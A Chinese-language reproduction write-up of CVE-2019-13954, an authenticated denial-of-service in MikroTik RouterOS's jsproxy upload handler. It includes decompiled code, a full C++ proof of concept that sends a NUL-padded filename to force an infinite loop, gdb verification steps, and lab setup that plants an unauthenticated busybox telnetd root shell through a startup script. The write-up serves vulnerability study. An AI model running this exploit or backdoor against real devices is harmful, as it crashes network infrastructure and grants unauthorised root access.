MikroTik RouterOS-CVE-2019-13954漏洞复现
产品描述: MikroTik RouterOS 是一种路由操作系统 ,并通过该软件将标准的PC电脑变成专业路由器,在软件的开发和应用上不断的更新和发展,软件经历了多次更新和改进,使其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的功能,其极高的性价比,受到许多网络人士的青睐。RouterOS在具备现有路由系统的大部分功能,能针对网吧、企业、小型ISP接入商、社区等网络设备的接入,基于标准的x86构架 的PC。一台586PC机就可以实现路由功能,提高硬件性能同样也能提高网络的访问速度和吞吐量。完全是一套低成本,高性能的路由器系统。
漏洞利用分析: 漏洞描述: 根据CVE-2019-13954的漏洞公告中得知,认证的用户可以通过发送一个特殊的POST请求,服务器在处理此请求时会陷入死循环,造成内存耗尽,导致系统的服务瘫痪重启
漏洞原理: CVE-2019-13954的漏洞利用地方跟CVE-2018-1157的类似,都是同一个地方死循环
下面是6.40.5
,x86
架构的漏洞文件反汇编代码:从中不难看出,有两个重要的函数决定循环是否能跳出while的死循环,sub_5E9F()和Headers::parseHeaderLine解析后的返回值为非零(即解析失败),因此此处可以利用的点就这两个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl JSProxyServlet::doUpload (int a1, int a2, Headers *a3, Headers *a4) { while ( 1 ) { sub_5E9F (v32, &s1); if ( !s1 ) break ; string::string ((string *)&v41, &s1); v14 = Headers::parseHeaderLine ((Headers *)&v42, (const string *)&v41); string::freeptr ((string *)&v41); if ( !v14 ) { string::string ((string *)&v41, "" ); Response::sendError (a4, 400 , (const string *)&v41); string::freeptr ((string *)&v41); LABEL_56: tree_base::clear (v16, v15, &v42, map_node_destr<string,HeaderField>); goto LABEL_57; } } }
问题就出在sub_5E9F函数(读取post请求数据),在getline的时候,如果输入的字节数量大于
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__usercall sub_5E9F@<eax>(istream *a1@<eax>, char *a2@<edx>){ char *v2; char *result; unsigned int v4; v2 = a2; istream::getline (a1, a2, 256u , '\n' ); result = 0 ; v4 = strlen (v2) + 1 ; if ( v4 != 1 ) { result = &v2[v4 - 2 ]; if ( *result == 13 ) *result = 0 ; } return result; }
下面是6.42.11
,x86
架构打了补丁的JSProxyServlet::doUpload,加了一个长度判断是不是0x100个字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int __cdecl JSProxyServlet::doUpload (int a1, int a2, Headers *a3, Headers *a4) { while ( 1 ) { sub_51F7 (v37, &s1); if ( !s1 ) break ; v14 = -1 ; v15 = &s1; do { if ( !v14 ) break ; v16 = *v15++ == 0 ; --v14; } while ( !v16 ); if ( v14 != 0x100 u ) { v36 = 0 ; string::string ((string *)&v46, &s1); v17 = Headers::parseHeaderLine ((Headers *)&v47, (const string *)&v46); string::freeptr ((string *)&v46); if ( v17 ) continue ; } string::string ((string *)&v46, "" ); Response::sendError (a4, 400 , (const string *)&v46); string::freeptr ((string *)&v46); LABEL_60: tree_base::clear (v19, v18, &v47, map_node_destr<string,HeaderField>); goto LABEL_61; } }
相比6.40.5
版本,6.42.11中sub_51F7的getline还是没有变
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>){ char *v2; char *result; unsigned int v4; v2 = a2; istream::getline (a1, a2, 0x100 u, '\n' ); result = 0 ; v4 = strlen (v2) + 1 ; if ( v4 != 1 ) { result = &v2[v4 - 2 ]; if ( *result == 13 ) *result = 0 ; } return result; }
POC原理: 利用getline原理
虽然6.42.11的版本中JSProxyServlet::doUpload加入了长度的判断,并且getline是按照\n(getline是按行读取)结束符前取前0x100个字节,但是可以通过构造很多\00来影响整个字符串的长度,getline只会将\n前的0x100个字符读入缓冲区,再会消化掉\n转化为\00,总之getline()会根据参数对输入产生截断,不考虑字符数组的存储空间,先将输入转换为"xxxx\0"
的格式
当是cin.getline(a, 5)时,输入abcdef,输出是abcd
当是cin.getline(a, 6)时,输入abcdef,输出是abcde
说明getline可能把空行\n转化为字符\0了,然后把\0算入所谓的长度5中了,不信,上汇编
测试代码:(长度改为了6)
1 2 3 4 5 6 7 8 9 10 11 12 #include <iostream> #include <string> using namespace std;int main (void ) { char a[5 ]; cin.getline (a, 6 ); int b = 5 ; cout << "hello b = " << b << " a = " << a << endl; return 0 ; }
输入abcdefghimn
查看内存发现,输入d额是abcdefghimn,数组的空间被依次赋值为a,b,c,d,e,可见getline把空行转化为了\0
POC:
因此post发送大量/0就可以改变数组长度啦
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 #include <cstdlib> #include <iostream> #include <boost/cstdint.hpp> #include <boost/program_options.hpp> #include "jsproxy_session.hpp" #include "winbox_message.hpp" namespace { const char s_version[] = "CVE-2019-13954 PoC 1.1.0" ; bool parseCommandLine (int p_argCount, const char * p_argArray[], std::string& p_username, std::string& p_password, std::string& p_ip, std::string& p_port) { boost::program_options::options_description description ("options" ) ; description.add_options () ("help,h" , "A list of command line options" ) ("version,v" , "Display version information" ) ("username,u" , boost::program_options::value<std::string>(), "The user to log in as" ) ("password" , boost::program_options::value<std::string>(), "The password to log in with" ) ("port,p" , boost::program_options::value<std::string>()->default_value ("80" ), "The HTTP port to connect to" ) ("ip,i" , boost::program_options::value<std::string>(), "The IPv4 address to connect to" ); boost::program_options::variables_map argv_map; try { boost::program_options::store ( boost::program_options::parse_command_line ( p_argCount, p_argArray, description), argv_map); } catch (const std::exception& e) { std::cerr << e.what () << "\n" << std::endl; std::cerr << description << std::endl; return false ; } boost::program_options::notify (argv_map); if (argv_map.empty () || argv_map.count ("help" )) { std::cerr << description << std::endl; return false ; } if (argv_map.count ("version" )) { std::cerr << "Version: " << ::s_version << std::endl; return false ; } if (argv_map.count ("username" ) && argv_map.count ("ip" ) & argv_map.count ("port" )) { p_username.assign (argv_map["username" ].as<std::string>()); p_ip.assign (argv_map["ip" ].as<std::string>()); p_port.assign (argv_map["port" ].as<std::string>()); if (argv_map.count ("password" )) { p_password.assign (argv_map["password" ].as<std::string>()); } else { p_password.assign ("" ); } return true ; } else { std::cerr << description << std::endl; } return false ; } } int main (int p_argc, const char ** p_argv) { std::string username; std::string password; std::string ip; std::string port; if (!parseCommandLine (p_argc, p_argv, username, password, ip, port)) { return EXIT_FAILURE; } JSProxySession jsSession (ip, port) ; if (!jsSession.connect ()) { std::cerr << "Failed to connect to the remote host" << std::endl; return EXIT_FAILURE; } if (!jsSession.negotiateEncryption (username, password, false )) { std::cerr << "Encryption negotiation failed." << std::endl; return EXIT_FAILURE; } std::string filename; for (int i = 0 ; i < 0x50 ; i++) { filename.push_back ('A' ); } for (int i = 0 ; i < 0x100 ; i++) { filename.push_back ('\x00' ); } if (jsSession.uploadFile (filename, "lol." )) { std::cout << "success!" << std::endl; } return EXIT_SUCCESS; }
漏洞验证 gdb调试验证构造的特殊post可以使系统程序www陷入死循环
在调试验证的过程中注意Linux默认开启了ASLR保护机制,为了好找地址,关掉ASLR
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
通过后门busybox登陆routeros,查看www的进程pid后,开启gdbserver附加www
开启gdb,准备调试,设置架构为i386,目标主机为192.168.0.113,端口为1234
set architecture i386
target remote 192.168.0.113:1234
同时本地运行POC,info proc mappings
查看当前已经加载的模块,但是没发现有关jsproxy的模块
对www模块进行断点,然后s几下便发现jsproxy.p出来了
在ida中找到要断点的函数的偏移地址,从doUpload函数断点,偏移量为8D08
将mappings中jsproxy的基地址加上偏移地址就ok了,对其断点
接下里我们可以通过对sub_51F7下断点,然后c几次,再取消断点运行看是否会使系统重启
Sub_51F7的地址为0x77540000+0x51F7,c几次会一直执行
将断点删除后,c一下,等待一会
发现系统重启了,成功验证该漏洞!
漏洞环境搭建过程 RouterOS环境搭建 因为CVE-2019-13954跟CVE-2018-1157原理类似,可以顺便也了解下,可以选择同时下载两个版本,都验证一下
CVE-2018-1157可在系统版本6.40.5验证
CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址:https://mikrotik.com/download
虚拟机安装镜像,按a,选择所有,然后i安装,后续都默认y就行
用户名是admin,密码为空,下图说明成功安装
把虚拟机改成桥接模式
虚拟机获取ip
ip dhcp-client add interface=ether disabled=no
查看虚拟机获取的ip
ip dhcp-client print detail
测试是否能ping通,测试ok
我们需要下载busybox(用于开root后门)、gdbserver.i686(远程调试)
busybox:wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox
busybox使静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。系统在执行程序的时候,会通过环境变量LD_PRELOAD和配置文件/etc/ld.so.preload进行预加载从而调用动态链接库,如果这两者被修改的话,那么系统程序在执行的时候,就会调用这两者被修改的内容。
除了busybox,我们还可以通过https://github.com/tenable/routeros下的**cleaner_wrasse**利用漏洞开启后门
gdbserver.i686下载地址:https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686
下载后,我们还需要一个LiveDVD的linux系统镜像,用来挂载RouterOS的文件系统,并上传和改写文件
CentOS-6.10-x86-64-LiveDVD下载地址:https://vault.centos.org/6.10/isos/x86_64/
在虚拟机设置CD/DVD驱动器为上面下载的CentOS的镜像
在启动磁盘这选择CD/DVD,并重新启动
如果启动非常慢,可以在虚拟机设置里,把CPU的核心和内存分配多点,这样运行快些
如果可以看到有rw这个文件夹,说明挂载成功了
进入rw文件夹,打开终端,进入root权限,如果disk是绿色的说明没有损坏,我有一次是红色的,如果也出现跟我类似的情况就重装一次RouterOS就行
进入disk文件夹,因为我已经下过了,并且把busybox-i686和gdbserver.i686都放到自己的服务器上了,所以我这里就直接用scp从服务器上下载下来
别忘了给权限
最后我们还需要在/rw目录下编写一个DEFCONF脚本,用来使RouterOS开机运行后门,RouterOS每次开机都会运行DEFCONF这个文件,但是重启之后会没了,不想麻烦的,可以开个快照
1 ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;
在虚拟机里从硬盘重启RouterOS,重启后在要输入账号的时候出现下面这样,说明busybox的后门成功开启了
此时,我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
漏洞文件获取 在通过后门登陆后,查看www和jsproxy.p所在的位置
这里可以通过工具Chimay-Red 从官网上提取6.40.5和6.42.11版本的www、jsproxy.p
1 2 ./tools/getROSbin.py 6.40.5 x86 /nova/bin/www www_binary ./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_2
编译生成POC 依赖环境:
Boost 1.66 or higher
cmake (我ubuntu有装过,就不再装了)
安装Boost:
Ubuntu:
1 sudo apt-get install libboost-dev
测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <iostream> #include <boost/version.hpp> #include <boost/config.hpp> using namespace std;int main () { cout << BOOST_VERSION << endl; cout << BOOST_LIB_VERSION << endl; cout << BOOST_PLATFORM << endl; cout << BOOST_COMPILER << endl; cout << BOOST_STDLIB << endl; return 0 ; }
如果能运行并且出现下面的信息,说明成功
POC编译的环境以及其他要用到的脚本文件
1 git clone https://github.com/tenable/routeros.git
编译生成cve_2019_13954的poc
1 2 3 4 5 cd cve_2019_13954 mkdir build cd build cmake .. make